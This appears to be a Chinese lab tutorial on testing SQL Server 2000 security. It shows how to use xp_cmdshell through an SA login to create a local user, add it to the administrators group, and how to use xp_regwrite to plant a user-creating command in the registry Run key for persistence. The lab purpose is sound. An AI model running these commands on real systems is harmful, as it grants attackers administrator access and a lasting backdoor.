案例五 几个扩展存储过程的使用

发布时间:2013-05-17 10:27:50   来源:文档文库   
字号:

案例五 几个扩展存储过程的使用

操作准备

已安装好Windows 2003 Server操作系统及SQL Server 2000数据库管理系统的虚拟机。

操作要求

作为公司的数据库管理人员,公司要求对SQL Server数据库的安全性进行检测,要求如下:

看是否能通过SQL Server内置存储过程xp-cmdshellxp_regwrite控制系统。

操作步骤

步骤一: 使用xp-cmdshell控制系统

(1) 打开Sql查询分析器,输入要访问的数据库地址(如:192.168.33.192),然后点击确定。如31所示。

31利用SA账户登陆SQL Server服务

(2) 在新开的窗口中输入xp_cmdshell "dir c:"并按F5执行查询。如32所示。

32执行查询

(3) 查看返回结果,如33所示。

33返回结果

(4) 试图建立新用户。

输入:“xp_cmdshell net user lipy 111111 /add””,将添加一个lipy用户,密码为111111,如34所示。

34建立新用户

然后可以输入xp_cmdshell "net user lipy"查看用户列表35所示。

35用户列表

(5) 将新用户加入管理员组

输入命令“xp_cmdshell "net localgroup administrators lipy /add"”,然后按F5执行查询。如36所示。

36将新用户加入管理员组

然后输入命令xp_cmdshell "net user lipy"”,检查修改结果37所示。

37验证lipy已加入管理员组

步骤二:使用xp_regwrite控制系统

在查询分析器中输入“exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','test','REG_SZ','net user test 123 /add'”即在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”路径下创建了键值“test”,且其值为“net user test 123 /add”。

本文来源:https://www.2haoxitong.net/k/doc/bfbef9c989eb172ded63b7a7.html

《案例五 几个扩展存储过程的使用.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式